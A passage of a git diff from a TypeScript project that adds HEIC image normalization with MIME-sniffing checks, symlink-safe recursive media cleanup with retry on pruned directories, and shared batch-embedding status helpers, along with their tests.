Buffer.from("%PDF-1.4\n").toString("base64"), + mediaType: "image/png", + }, + { + allowUrl: false, + allowedMimes: new Set(["image/png", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1, + }, + ), + ).rejects.toThrow("Unsupported image MIME type: application/pdf"); + expect(convertHeicToJpegMock).not.toHaveBeenCalled(); + }); + + it("rejects spoofed URL images when detected bytes are not an image", async () => { + const release = vi.fn(async () => {}); + fetchWithSsrFGuardMock.mockResolvedValueOnce({ + response: new Response(Buffer.from("%PDF-1.4\n"), { + status: 200, + headers: { "content-type": "image/png" }, + }), + release, + finalUrl: "https://example.com/photo.png", + }); + detectMimeMock.mockResolvedValueOnce("application/pdf"); + + await expect( + extractImageContentFromSource( + { + type: "url", + url: "https://example.com/photo.png", + }, + { + allowUrl: true, + allowedMimes: new Set(["image/png", "image/jpeg"]), + maxBytes: 1024 * 1024, + maxRedirects: 0, + timeoutMs: 1000, + }, + ), + ).rejects.toThrow("Unsupported image MIME type: application/pdf"); + expect(release).toHaveBeenCalledTimes(1); + expect(convertHeicToJpegMock).not.toHaveBeenCalled(); + }); +}); + describe("fetchWithGuard", () => { it("rejects oversized streamed payloads and cancels the stream", async () => { let canceled = false; diff --git a/src/media/input-files.ts b/src/media/input-files.ts index 11e7a917857..32c5998bbd9 100644 --- a/src/media/input-files.ts +++ b/src/media/input-files.ts @@ -2,6 +2,8 @@ import { fetchWithSsrFGuard } from "../infra/net/fetch-guard.js"; import type { SsrFPolicy } from "../infra/net/ssrf.js"; import { logWarn } from "../logger.js"; import { canonicalizeBase64, estimateBase64DecodedBytes } from "./base64.js"; +import { convertHeicToJpeg } from "./image-ops.js"; +import { detectMime } from "./mime.js"; import { extractPdfContent, type PdfExtractedImage } from "./pdf-extract.js"; import { readResponseWithLimit } from "./read-response-with-limit.js"; @@ -85,7 +87,14 @@ export type InputFetchResult = { contentType?: string; }; -export const DEFAULT_INPUT_IMAGE_MIMES = ["image/jpeg", "image/png", "image/gif", "image/webp"]; +export const DEFAULT_INPUT_IMAGE_MIMES = [ + "image/jpeg", + "image/png", + "image/gif", + "image/webp", + "image/heic", + "image/heif", +]; export const DEFAULT_INPUT_FILE_MIMES = [ "text/plain", "text/markdown", @@ -102,6 +111,8 @@ export const DEFAULT_INPUT_TIMEOUT_MS = 10_000; export const DEFAULT_INPUT_PDF_MAX_PAGES = 4; export const DEFAULT_INPUT_PDF_MAX_PIXELS = 4_000_000; export const DEFAULT_INPUT_PDF_MIN_TEXT_CHARS = 200; +const NORMALIZED_INPUT_IMAGE_MIME = "image/jpeg"; +const HEIC_INPUT_IMAGE_MIMES = new Set(["image/heic", "image/heif"]); function rejectOversizedBase64Payload(params: { data: string; @@ -218,6 +229,48 @@ function clampText(text: string, maxChars: number): string { return text.slice(0, maxChars); } +async function normalizeInputImage(params: { + buffer: Buffer; + mimeType?: string; + limits: InputImageLimits; +}): Promise { + const declaredMime = normalizeMimeType(params.mimeType) ?? "application/octet-stream"; + const detectedMime = normalizeMimeType( + await detectMime({ buffer: params.buffer, headerMime: params.mimeType }), + ); + if (declaredMime.startsWith("image/") && detectedMime && !detectedMime.startsWith("image/")) { + throw new Error(`Unsupported image MIME type: ${detectedMime}`); + } + const sourceMime = + (detectedMime && HEIC_INPUT_IMAGE_MIMES.has(detectedMime)) || + (HEIC_INPUT_IMAGE_MIMES.has(declaredMime) && !detectedMime) + ? (detectedMime ?? declaredMime) + : declaredMime; + if (!params.limits.allowedMimes.has(sourceMime)) { + throw new Error(`Unsupported image MIME type: ${sourceMime}`); + } + + if (!HEIC_INPUT_IMAGE_MIMES.has(sourceMime)) { + return { + type: "image", + data: params.buffer.toString("base64"), + mimeType: sourceMime, + }; + } + + const normalizedBuffer = await convertHeicToJpeg(params.buffer); + if (normalizedBuffer.byteLength > params.limits.maxBytes) { + throw new Error( + `Image too large after HEIC conversion: ${normalizedBuffer.byteLength} bytes (limit: ${params.limits.maxBytes} bytes)`, + ); + } + return { + type: "image", + data: normalizedBuffer.toString("base64"), + mimeType: NORMALIZED_INPUT_IMAGE_MIME, + }; +} + export async function extractImageContentFromSource( source: InputImageSource, limits: InputImageLimits, @@ -228,17 +281,17 @@ export async function extractImageContentFromSource( if (!canonicalData) { throw new Error("input_image base64 source has invalid 'data' field"); } - const mimeType = normalizeMimeType(source.mediaType) ?? "image/png"; - if (!limits.allowedMimes.has(mimeType)) { - throw new Error(`Unsupported image MIME type: ${mimeType}`); - } const buffer = Buffer.from(canonicalData, "base64"); if (buffer.byteLength > limits.maxBytes) { throw new Error( `Image too large: ${buffer.byteLength} bytes (limit: ${limits.maxBytes} bytes)`, ); } - return { type: "image", data: canonicalData, mimeType }; + return await normalizeInputImage({ + buffer, + mimeType: normalizeMimeType(source.mediaType) ?? "image/png", + limits, + }); } if (source.type === "url") { @@ -256,10 +309,11 @@ export async function extractImageContentFromSource( }, auditContext: "openresponses.input_image", }); - if (!limits.allowedMimes.has(result.mimeType)) { - throw new Error(`Unsupported image MIME type from URL: ${result.mimeType}`); - } - return { type: "image", data: result.buffer.toString("base64"), mimeType: result.mimeType }; + return await normalizeInputImage({ + buffer: result.buffer, + mimeType: result.mimeType, + limits, + }); } throw new Error(`Unsupported input_image source type: ${(source as { type: string }).type}`); diff --git a/src/media/server.ts b/src/media/server.ts index b8982cb690a..a55d61919fd 100644 --- a/src/media/server.ts +++ b/src/media/server.ts @@ -96,7 +96,7 @@ export function attachMediaRoutes( // periodic cleanup setInterval(() => { - void cleanOldMedia(ttlMs); + void cleanOldMedia(ttlMs, { recursive: false }); }, ttlMs).unref(); } diff --git a/src/media/store.test.ts b/src/media/store.test.ts index 2941bf8d063..a05f907b3d3 100644 --- a/src/media/store.test.ts +++ b/src/media/store.test.ts @@ -2,7 +2,7 @@ import fs from "node:fs/promises"; import path from "node:path"; import JSZip from "jszip"; import sharp from "sharp"; -import { afterAll, beforeAll, describe, expect, it, vi } from "vitest"; +import { afterAll, afterEach, beforeAll, describe, expect, it, vi } from "vitest"; import { isPathWithinBase } from "../../test/helpers/paths.js"; import { createTempHomeEnv, type TempHomeEnv } from "../test-utils/temp-home.js"; @@ -25,6 +25,10 @@ describe("media store", () => { } }); + afterEach(() => { + vi.restoreAllMocks(); + }); + async function withTempStore( fn: (store: typeof import("./store.js"), home: string) => Promise, ): Promise { @@ -64,6 +68,33 @@ describe("media store", () => { }); }); + it("retries buffer writes when cleanup prunes the target directory", async () => { + await withTempStore(async (store) => { + const originalWriteFile = fs.writeFile.bind(fs); + let injectedEnoent = false; + vi.spyOn(fs, "writeFile").mockImplementation(async (...args) => { + const [filePath] = args; + if ( + !injectedEnoent && + typeof filePath === "string" && + filePath.includes(`${path.sep}race-buffer${path.sep}`) + ) { + injectedEnoent = true; + await fs.rm(path.dirname(filePath), { recursive: true, force: true }); + const err = new Error("missing dir") as NodeJS.ErrnoException; + err.code = "ENOENT"; + throw err; + } + return await originalWriteFile(...args); + }); + + const saved = await store.saveMediaBuffer(Buffer.from("hello"), "text/plain", "race-buffer"); + const savedStat = await fs.stat(saved.path); + expect(injectedEnoent).toBe(true); + expect(savedStat.isFile()).toBe(true); + }); + }); + it("copies local files and cleans old media", async () => { await withTempStore(async (store, home) => { const srcFile = path.join(home, "tmp-src.txt"); @@ -83,6 +114,36 @@ describe("media store", () => { }); }); + it("retries local-source writes when cleanup prunes the target directory", async () => { + await withTempStore(async (store, home) => { + const srcFile = path.join(home, "tmp-src-race.txt"); + await fs.writeFile(srcFile, "local file"); + + const originalWriteFile = fs.writeFile.bind(fs); + let injectedEnoent = false; + vi.spyOn(fs, "writeFile").mockImplementation(async (...args) => { + const [filePath] = args; + if ( + !injectedEnoent && + typeof filePath === "string" && + filePath.includes(`${path.sep}race-source${path.sep}`) + ) { + injectedEnoent = true; + await fs.rm(path.dirname(filePath), { recursive: true, force: true }); + const err = new Error("missing dir") as NodeJS.ErrnoException; + err.code = "ENOENT"; + throw err; + } + return await originalWriteFile(...args); + }); + + const saved = await store.saveMediaSource(srcFile, undefined, "race-source"); + const savedStat = await fs.stat(saved.path); + expect(injectedEnoent).toBe(true); + expect(savedStat.isFile()).toBe(true); + }); + }); + it.runIf(process.platform !== "win32")("rejects symlink sources", async () => { await withTempStore(async (store, home) => { const target = path.join(home, "sensitive.txt"); @@ -116,6 +177,97 @@ describe("media store", () => { }); }); + it("cleans old media files in nested subdirectories and preserves fresh siblings", async () => { + await withTempStore(async (store) => { + const oldNested = await store.saveMediaBuffer( + Buffer.from("old nested"), + "text/plain", + path.join("remote-cache", "session-1", "images"), + ); + const freshNested = await store.saveMediaBuffer( + Buffer.from("fresh nested"), + "text/plain", + path.join("remote-cache", "session-1", "docs"), + ); + const oldFlat = await store.saveMediaBuffer(Buffer.from("old flat"), "text/plain", "inbound"); + const past = Date.now() - 10_000; + await fs.utimes(oldNested.path, past / 1000, past / 1000); + await fs.utimes(oldFlat.path, past / 1000, past / 1000); + + await store.cleanOldMedia(1_000, { recursive: true, pruneEmptyDirs: true }); + + await expect(fs.stat(oldNested.path)).rejects.toThrow(); + await expect(fs.stat(oldFlat.path)).rejects.toThrow(); + const freshStat = await fs.stat(freshNested.path); + expect(freshStat.isFile()).toBe(true); + await expect(fs.stat(path.dirname(oldNested.path))).rejects.toThrow(); + }); + }); + + it("keeps nested remote-cache files during shallow cleanup", async () => { + await withTempStore(async (store) => { + const nested = await store.saveMediaBuffer( + Buffer.from("old nested"), + "text/plain", + path.join("remote-cache", "session-1", "images"), + ); + const past = Date.now() - 10_000; + await fs.utimes(nested.path, past / 1000, past / 1000); + + await store.cleanOldMedia(1_000); + + const stat = await fs.stat(nested.path); + expect(stat.isFile()).toBe(true); + }); + }); + + it("prunes empty directory chains after recursive cleanup", async () => { + await withTempStore(async (store) => { + const nested = await store.saveMediaBuffer( + Buffer.from("old nested"), + "text/plain", + path.join("remote-cache", "session-prune", "images"), + ); + const mediaDir = await store.ensureMediaDir(); + const sessionDir = path.dirname(path.dirname(nested.path)); + const remoteCacheDir = path.dirname(sessionDir); + const past = Date.now() - 10_000; + await fs.utimes(nested.path, past / 1000, past / 1000); + + await store.cleanOldMedia(1_000, { recursive: true, pruneEmptyDirs: true }); + + await expect(fs.stat(sessionDir)).rejects.toThrow(); + const remoteCacheStat = await fs.stat(remoteCacheDir); + const mediaStat = await fs.stat(mediaDir); + expect(remoteCacheStat.isDirectory()).toBe(true); + expect(mediaStat.isDirectory()).toBe(true); + }); + }); + + it.runIf(process.platform !== "win32")( + "does not follow symlinked top-level directories during recursive cleanup", + async () => { + await withTempStore(async (store, home) => { + const mediaDir = await store.ensureMediaDir(); + const outsideDir = path.join(home, "outside-media"); + const outsideFile = path.join(outsideDir, "old.txt"); + const symlinkPath = path.join(mediaDir, "linked-dir"); + await fs.mkdir(outsideDir, { recursive: true }); + await fs.writeFile(outsideFile, "outside"); + const past = Date.now() - 10_000; + await fs.utimes(outsideFile, past / 1000, past / 1000); + await fs.symlink(outsideDir, symlinkPath); + + await store.cleanOldMedia(1_000, { recursive: true, pruneEmptyDirs: true }); + + const outsideStat = await fs.stat(outsideFile); + const symlinkStat = await fs.lstat(symlinkPath); + expect(outsideStat.isFile()).toBe(true); + expect(symlinkStat.isSymbolicLink()).toBe(true); + }); + }, + ); + it("sets correct mime for xlsx by extension", async () => { await withTempStore(async (store, home) => { const xlsxPath = path.join(home, "sheet.xlsx"); diff --git a/src/media/store.ts b/src/media/store.ts index 9dc6f5f641b..ceb346a1f94 100644 --- a/src/media/store.ts +++ b/src/media/store.ts @@ -17,6 +17,10 @@ const DEFAULT_TTL_MS = 2 * 60 * 1000; // 2 minutes // Files are intentionally readable by non-owner UIDs so Docker sandbox containers can access // inbound media. The containing state/media directories remain 0o700, which is the trust boundary. const MEDIA_FILE_MODE = 0o644; +type CleanOldMediaOptions = { + recursive?: boolean; + pruneEmptyDirs?: boolean; +}; type RequestImpl = typeof httpRequest; type ResolvePinnedHostnameImpl = typeof resolvePinnedHostname; @@ -88,42 +92,82 @@ export async function ensureMediaDir() { return mediaDir; } -export async function cleanOldMedia(ttlMs = DEFAULT_TTL_MS) { - const mediaDir = await ensureMediaDir(); - const entries = await fs.readdir(mediaDir).catch(() => []); - const now = Date.now(); - const removeExpiredFilesInDir = async (dir: string) => { - const dirEntries = await fs.readdir(dir).catch(() => []); - await Promise.all( - dirEntries.map(async (entry) => { - const full = path.join(dir, entry); - const stat = await fs.stat(full).catch(() => null); - if (!stat || !stat.isFile()) { - return; - } - if (now - stat.mtimeMs > ttlMs) { - await fs.rm(full).catch(() => {}); - } - }), - ); - }; +function isMissingPathError(err: unknown): err is NodeJS.ErrnoException { + return err instanceof Error && "code" in err && err.code === "ENOENT"; +} - await Promise.all( - entries.map(async (file) => { - const full = path.join(mediaDir, file); - const stat = await fs.stat(full).catch(() => null); - if (!stat) { - return; +async function retryAfterRecreatingDir(dir: string, run: () => Promise): Promise { + try { + return await run(); + } catch (err) { + if (!isMissingPathError(err)) { + throw err; + } + // Recursive cleanup can prune an empty directory between mkdir and the later + // file open/write. Recreate once and retry the media write path. + await fs.mkdir(dir, { recursive: true, mode: 0o700 }); + return await run(); + } +} + +export async function cleanOldMedia(ttlMs = DEFAULT_TTL_MS, options: CleanOldMediaOptions = {}) { + const mediaDir = await ensureMediaDir(); + const now = Date.now(); + const recursive = options.recursive ?? false; + const pruneEmptyDirs = recursive && (options.pruneEmptyDirs ?? false); + + const removeExpiredFilesInDir = async (dir: string): Promise => { + const dirEntries = await fs.readdir(dir).catch(() => null); + if (!dirEntries) { + return false; + } + for (const entry of dirEntries) { + const fullPath = path.join(dir, entry); + const stat = await fs.lstat(fullPath).catch(() => null); + if (!stat || stat.isSymbolicLink()) { + continue; } if (stat.isDirectory()) { - await removeExpiredFilesInDir(full); - return; + if (recursive) { + const childIsEmpty = await removeExpiredFilesInDir(fullPath); + if (childIsEmpty) { + await fs.rmdir(fullPath).catch(() => {}); + } + } + continue; } - if (stat.isFile() && now - stat.mtimeMs > ttlMs) { - await fs.rm(full).catch(() => {}); + if (!stat.isFile()) { + continue; } - }), - ); + if (now - stat.mtimeMs > ttlMs) { + await fs.rm(fullPath, { force: true }).catch(() => {}); + } + } + if (!pruneEmptyDirs) { + return false; + } + const remainingEntries = await fs.readdir(dir).catch(() => null); + return remainingEntries !== null && remainingEntries.length === 0; + }; + + const entries = await fs.readdir(mediaDir).catch(() => []); + for (const file of entries) { + const full = path.join(mediaDir, file); + const stat = await fs.lstat(full).catch(() => null); + if (!stat || stat.isSymbolicLink()) { + continue; + } + if (stat.isDirectory()) { + const dirIsEmpty = await removeExpiredFilesInDir(full); + if (dirIsEmpty) { + await fs.rmdir(full).catch(() => {}); + } + continue; + } + if (stat.isFile() && now - stat.mtimeMs > ttlMs) { + await fs.rm(full, { force: true }).catch(() => {}); + } + } } function looksLikeUrl(src: string) { @@ -264,11 +308,13 @@ export async function saveMediaSource( const baseDir = resolveMediaDir(); const dir = subdir ? path.join(baseDir, subdir) : baseDir; await fs.mkdir(dir, { recursive: true, mode: 0o700 }); - await cleanOldMedia(); + await cleanOldMedia(DEFAULT_TTL_MS, { recursive: false }); const baseId = crypto.randomUUID(); if (looksLikeUrl(source)) { const tempDest = path.join(dir, `${baseId}.tmp`); - const { headerMime, sniffBuffer, size } = await downloadToFile(source, tempDest, headers); + const { headerMime, sniffBuffer, size } = await retryAfterRecreatingDir(dir, () => + downloadToFile(source, tempDest, headers), + ); const mime = await detectMime({ buffer: sniffBuffer, headerMime, @@ -287,7 +333,7 @@ export async function saveMediaSource( const ext = extensionForMime(mime) ?? path.extname(source); const id = ext ? `${baseId}${ext}` : baseId; const dest = path.join(dir, id); - await fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE }); + await retryAfterRecreatingDir(dir, () => fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE })); return { id, path: dest, size: stat.size, contentType: mime }; } catch (err) { if (err instanceof SafeOpenError) { @@ -326,6 +372,6 @@ export async function saveMediaBuffer( } const dest = path.join(dir, id); - await fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE }); + await retryAfterRecreatingDir(dir, () => fs.writeFile(dest, buffer, { mode: MEDIA_FILE_MODE })); return { id, path: dest, size: buffer.byteLength, contentType: mime }; } diff --git a/src/memory/batch-embedding-common.ts b/src/memory/batch-embedding-common.ts index f572427ea65..2aa3351150f 100644 --- a/src/memory/batch-embedding-common.ts +++ b/src/memory/batch-embedding-common.ts @@ -1,6 +1,12 @@ export { extractBatchErrorMessage, formatUnavailableBatchError } from "./batch-error-utils.js"; export { postJsonWithRetry } from "./batch-http.js"; export { applyEmbeddingBatchOutputLine } from "./batch-output.js"; +export { + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, + throwIfBatchTerminalFailure, + type BatchCompletionResult, +} from "./batch-status.js"; export { EMBEDDING_BATCH_ENDPOINT, type EmbeddingBatchStatus, diff --git a/src/memory/batch-openai.ts b/src/memory/batch-openai.ts index 24c3b6f7eea..e17a420812c 100644 --- a/src/memory/batch-openai.ts +++ b/src/memory/batch-openai.ts @@ -7,9 +7,13 @@ import { formatUnavailableBatchError, normalizeBatchBaseUrl, postJsonWithRetry, + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, runEmbeddingBatchGroups, + throwIfBatchTerminalFailure, type EmbeddingBatchExecutionParams, type EmbeddingBatchStatus, + type BatchCompletionResult, type ProviderBatchOutputLine, uploadBatchJsonlFile, withRemoteHttpResponse, @@ -144,7 +148,7 @@ async function waitForOpenAiBatch(params: { timeoutMs: number; debug?: (message: string, data?: Record) => void; initial?: OpenAiBatchStatus; -}): Promise<{ outputFileId: string; errorFileId?: string }> { +}): Promise { const start = Date.now(); let current: OpenAiBatchStatus | undefined = params.initial; while (true) { @@ -156,21 +160,21 @@ async function waitForOpenAiBatch(params: { })); const state = status.status ?? "unknown"; if (state === "completed") { - if (!status.output_file_id) { - throw new Error(`openai batch ${params.batchId} completed without output file`); - } - return { - outputFileId: status.output_file_id, - errorFileId: status.error_file_id ?? undefined, - }; - } - if (["failed", "expired", "cancelled", "canceled"].includes(state)) { - const detail = status.error_file_id - ? await readOpenAiBatchError({ openAi: params.openAi, errorFileId: status.error_file_id }) - : undefined; - const suffix = detail ? `: ${detail}` : ""; - throw new Error(`openai batch ${params.batchId} ${state}${suffix}`); + return resolveBatchCompletionFromStatus({ + provider: "openai", + batchId: params.batchId, + status, + }); } + await throwIfBatchTerminalFailure({ + provider: "openai", + status: { ...status, id: params.batchId }, + readError: async (errorFileId) => + await readOpenAiBatchError({ + openAi: params.openAi, + errorFileId, + }), + }); if (!params.wait) { throw new Error(`openai batch ${params.batchId} still ${state}; wait disabled`); } @@ -204,6 +208,7 @@ export async function runOpenAiEmbeddingBatches( if (!batchInfo.id) { throw new Error("openai batch create failed: missing batch id"); } + const batchId = batchInfo.id; params.debug?.("memory embeddings: openai batch created", { batchId: batchInfo.id, @@ -213,30 +218,21 @@ export async function runOpenAiEmbeddingBatches( requests: group.length, }); - if (!params.wait && batchInfo.status !== "completed") { - throw new Error( - `openai batch ${batchInfo.id} submitted; enable remote.batch.wait to await completion`, - ); - } - - const completed = - batchInfo.status === "completed" - ? { - outputFileId: batchInfo.output_file_id ?? "", - errorFileId: batchInfo.error_file_id ?? undefined, - } - : await waitForOpenAiBatch({ - openAi: params.openAi, - batchId: batchInfo.id, - wait: params.wait, - pollIntervalMs: params.pollIntervalMs, - timeoutMs: params.timeoutMs, - debug: params.debug, - initial: batchInfo, - }); - if (!completed.outputFileId) { - throw new Error(`openai batch ${batchInfo.id} completed without output file`); - } + const completed = await resolveCompletedBatchResult({ + provider: "openai", + status: batchInfo, + wait: params.wait, + waitForBatch: async () => + await waitForOpenAiBatch({ + openAi: params.openAi, + batchId, + wait: params.wait, + pollIntervalMs: params.pollIntervalMs, + timeoutMs: params.timeoutMs, + debug: params.debug, + initial: batchInfo, + }), + }); const content = await fetchOpenAiFileContent({ openAi: params.openAi, diff --git a/src/memory/batch-status.test.ts b/src/memory/batch-status.test.ts new file mode 100644 index 00000000000..82a992556af --- /dev/null +++ b/src/memory/batch-status.test.ts @@ -0,0 +1,60 @@ +import { describe, expect, it } from "vitest"; +import { + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, + throwIfBatchTerminalFailure, +} from "./batch-status.js"; + +describe("batch-status helpers", () => { + it("resolves completion payload from completed status", () => { + expect( + resolveBatchCompletionFromStatus({ + provider: "openai", + batchId: "b1", + status: { + output_file_id: "out-1", + error_file_id: "err-1", + }, + }), + ).toEqual({ + outputFileId: "out-1", + errorFileId: "err-1", + }); + }); + + it("throws for terminal failure states", async () => { + await expect( + throwIfBatchTerminalFailure({ + provider: "voyage", + status: { id: "b2", status: "failed", error_file_id: "err-file" }, + readError: async () => "bad input", + }), + ).rejects.toThrow("voyage batch b2 failed: bad input"); + }); + + it("returns completed result directly without waiting", async () => { + const waitForBatch = async () => ({ outputFileId: "out-2" }); + const result = await resolveCompletedBatchResult({ + provider: "openai", + status: { + id: "b3", + status: "completed", + output_file_id: "out-3", + }, + wait: false, + waitForBatch, + }); + expect(result).toEqual({ outputFileId: "out-3", errorFileId: undefined }); + }); + + it("throws when wait disabled and batch is not complete", async () => { + await expect( + resolveCompletedBatchResult({ + provider: "openai", + status: { id: "b4", status: "pending" }, + wait: false, + waitForBatch: async () => ({ outputFileId: "out" }), + }), + ).rejects.toThrow("openai batch b4 submitted; enable remote.batch.wait to await completion"); + }); +}); diff --git a/src/memory/batch-status.ts b/src/memory/batch-status.ts new file mode 100644 index 00000000000..96e8da62894 --- /dev/null +++ b/src/memory/batch-status.ts @@ -0,0 +1,69 @@ +const TERMINAL_FAILURE_STATES = new Set(["failed", "expired", "cancelled", "canceled"]); + +type BatchStatusLike = { + id?: string; + status?: string; + output_file_id?: string | null; + error_file_id?: string | null; +}; + +export type BatchCompletionResult = { + outputFileId: string; + errorFileId?: string; +}; + +export function resolveBatchCompletionFromStatus(params: { + provider: string; + batchId: string; + status: BatchStatusLike; +}): BatchCompletionResult { + if (!params.status.output_file_id) { + throw new Error(`${params.provider} batch ${params.batchId} completed without output file`); + } + return { + outputFileId: params.status.output_file_id, + errorFileId: params.status.error_file_id ?? undefined, + }; +} + +export async function throwIfBatchTerminalFailure(params: { + provider: string; + status: BatchStatusLike; + readError: (errorFileId: string) => Promise; +}): Promise { + const state = params.status.status ?? "unknown"; + if (!TERMINAL_FAILURE_STATES.has(state)) { + return; + } + const detail = params.status.error_file_id + ? await params.readError(params.status.error_file_id) + : undefined; + const suffix = detail ? `: ${detail}` : ""; + throw new Error(`${params.provider} batch ${params.status.id ?? ""} ${state}${suffix}`); +} + +export async function resolveCompletedBatchResult(params: { + provider: string; + status: BatchStatusLike; + wait: boolean; + waitForBatch: () => Promise; +}): Promise { + const batchId = params.status.id ?? ""; + if (!params.wait && params.status.status !== "completed") { + throw new Error( + `${params.provider} batch ${batchId} submitted; enable remote.batch.wait to await completion`, + ); + } + const completed = + params.status.status === "completed" + ? resolveBatchCompletionFromStatus({ + provider: params.provider, + batchId, + status: params.status, + }) + : await params.waitForBatch(); + if (!completed.outputFileId) { + throw new Error(`${params.provider} batch ${batchId} completed without output file`); + } + return completed; +} diff --git a/src/memory/batch-voyage.ts b/src/memory/batch-voyage.ts index 1835f9b053f..aa5bfc61017 100644 --- a/src/memory/batch-voyage.ts +++ b/src/memory/batch-voyage.ts @@ -9,9 +9,13 @@ import { formatUnavailableBatchError, normalizeBatchBaseUrl, postJsonWithRetry, + resolveBatchCompletionFromStatus, + resolveCompletedBatchResult, runEmbeddingBatchGroups, + throwIfBatchTerminalFailure, type EmbeddingBatchExecutionParams, type EmbeddingBatchStatus, + type BatchCompletionResult, type ProviderBatchOutputLine, uploadBatchJsonlFile, withRemoteHttpResponse, @@ -146,7 +150,7 @@ async function waitForVoyageBatch(params: { timeoutMs: number; debug?: (message: string, data?: Record) => void; initial?: VoyageBatchStatus; -}): Promise<{ outputFileId: string; errorFileId?: string }> { +}): Promise { const start = Date.now(); let current: VoyageBatchStatus | undefined = params.initial; while (true) { @@ -158,21 +162,21 @@ async function waitForVoyageBatch(params: { })); const state = status.status ?? "unknown"; if (state === "completed") { - if (!status.output_file_id) { - throw new Error(`voyage batch ${params.batchId} completed without output file`); - } - return { - outputFileId: status.output_file_id, - errorFileId: status.error_file_id ?? undefined, - }; - } - if (["failed", "expired", "cancelled", "canceled"].includes(state)) { - const detail = status.error_file_id - ? await readVoyageBatchError({ client: params.client, errorFileId: status.error_file_id }) - : undefined; - const suffix = detail ? `: ${detail}` : ""; - throw new Error(`voyage batch ${params.batchId} ${state}${suffix}`); + return resolveBatchCompletionFromStatus({ + provider: "voyage", + batchId: params.batchId, + status, + }); } + await throwIfBatchTerminalFailure({ + provider: "voyage", + status: { ...status, id: params.batchId }, + readError: async (errorFileId) => + await readVoyageBatchError({ + client: params.client, + errorFileId, + }), + }); if (!params.wait) { throw new Error(`voyage batch ${params.batchId} still ${state}; wait disabled`); } @@ -206,6 +210,7 @@ export async function runVoyageEmbeddingBatches( if (!batchInfo.id) { throw new Error("voyage batch create failed: missing batch id"); } + const batchId = batchInfo.id; params.debug?.("memory embeddings: voyage batch created", { batchId: batchInfo.id, @@ -215,30 +220,21 @@ export async function runVoyageEmbeddingBatches( requests: group.length, }); - if (!params.wait && batchInfo.status !== "completed") { - throw new Error( - `voyage batch ${batchInfo.id} submitted; enable remote.batch.wait to await completion`, - ); - } - - const completed = - batchInfo.status === "completed" - ? { - outputFileId: batchInfo.output_file_id ?? "", - errorFileId: batchInfo.error_file_id ?? undefined, - } - : await waitForVoyageBatch({ - client: params.client, - batchId: batchInfo.id, - wait: params.wait, - pollIntervalMs: params.pollIntervalMs, - timeoutMs: params.timeoutMs, - debug: params.debug, - initial: batchInfo, - }); - if (!completed.outputFileId) { - throw new Error(`voyage batch ${batchInfo.id} completed without output file`); - } + const completed = await resolveCompletedBatchResult({ + provider: "voyage", + status: batchInfo, + wait: params.wait, + waitForBatch: async () => + await waitForVoyageBatch({ + client: params.client, + batchId, + wait: params.wait, + pollIntervalMs: params.pollIntervalMs, + timeoutMs: params.timeoutMs, + debug: params.debug, + initial: batchInfo, + }), + }); const baseUrl = normalizeBatchBaseUrl(params.client); const errors: string[] = []; diff --git a/src/memory/embeddings-ollama.test.ts b/src/memory/embeddings-ollama.test.ts index e29939dbacb..910a7515696 100644 --- a/src/memory/embeddings-ollama.test.ts +++ b/src/memory/embeddings-ollama.test.ts @@ -44,7 +44,7 @@ describe("embeddings-ollama", () => { providers: { ollama: { baseUrl: "http://127.0.0.1:11434/v1", - apiKey: "ollama-\nlocal\r\n", + apiKey: "ollama-\nlocal\r\n", // pragma: allowlist secret headers: { "X-Provider-Header": "provider", }, diff --git a/src/memory/embeddings.test.ts b/src/memory/embeddings.test.ts index c8cca71029e..df22885fefd 100644 --- a/src/memory/embeddings.test.ts +++ b/src/memory/embeddings.test.ts @@ -233,7 +233,7 @@ describe("embedding provider remote overrides", () => { config: {} as never, provider: "gemini", remote: { - apiKey: "GEMINI_API_KEY", + apiKey: "GEMINI_API_KEY", // pragma: allowlist secret }, model: "text-embedding-004", fallback: "openai", @@ -266,7 +266,7 @@ describe("embedding provider remote overrides", () => { config: cfg as never, provider: "mistral", remote: { - apiKey: "mistral-key", + apiKey: "mistral-key", // pragma: allowlist secret }, model: "mistral/mistral-embed", fallback: "none", @@ -356,7 +356,7 @@ describe("embedding provider auto selection", () => { vi.stubGlobal("fetch", fetchMock); vi.mocked(authModule.resolveApiKeyForProvider).mockImplementation(async ({ provider }) => { if (provider === "mistral") { - return { apiKey: "mistral-key", source: "env: MISTRAL_API_KEY", mode: "api-key" }; + return { apiKey: "mistral-key", source: "env: MISTRAL_API_KEY", mode: "api-key" }; // pragma: allowlist secret } throw new Error(`No API key found for provider "${provider}".`); }); @@ -516,20 +516,32 @@ describe("local embedding ensureContext concurrency", () => { vi.doUnmock("./node-llama.js"); }); - it("loads the model only once when embedBatch is called concurrently", async () => { + async function setupLocalProviderWithMockedInit(params?: { + initializationDelayMs?: number; + failFirstGetLlama?: boolean; + }) { const getLlamaSpy = vi.fn(); const loadModelSpy = vi.fn(); const createContextSpy = vi.fn(); + let shouldFail = params?.failFirstGetLlama ?? false; const nodeLlamaModule = await import("./node-llama.js"); vi.spyOn(nodeLlamaModule, "importNodeLlamaCpp").mockResolvedValue({ getLlama: async (...args: unknown[]) => { getLlamaSpy(...args); - await new Promise((r) => setTimeout(r, 50)); + if (shouldFail) { + shouldFail = false; + throw new Error("transient init failure"); + } + if (params?.initializationDelayMs) { + await new Promise((r) => setTimeout(r, params.initializationDelayMs)); + } return { loadModel: async (...modelArgs: unknown[]) => { loadModelSpy(...modelArgs); - await new Promise((r) => setTimeout(r, 50)); + if (params?.initializationDelayMs) { + await new Promise((r) => setTimeout(r, params.initializationDelayMs)); + } return { createEmbeddingContext: async () => { createContextSpy(); @@ -548,7 +560,6 @@ describe("local embedding ensureContext concurrency", () => { } as never); const { createEmbeddingProvider } = await import("./embeddings.js"); - const result = await createEmbeddingProvider({ config: {} as never, provider: "local", @@ -556,7 +567,20 @@ describe("local embedding ensureContext concurrency", () => { fallback: "none", }); - const provider = requireProvider(result); + return { + provider: requireProvider(result), + getLlamaSpy, + loadModelSpy, + createContextSpy, + }; + } + + it("loads the model only once when embedBatch is called concurrently", async () => { + const { provider, getLlamaSpy, loadModelSpy, createContextSpy } = + await setupLocalProviderWithMockedInit({ + initializationDelayMs: 50, + }); + const results = await Promise.all([ provider.embedBatch(["text1"]), provider.embedBatch(["text2"]), @@ -576,49 +600,11 @@ describe("local embedding ensureContext concurrency", () => { }); 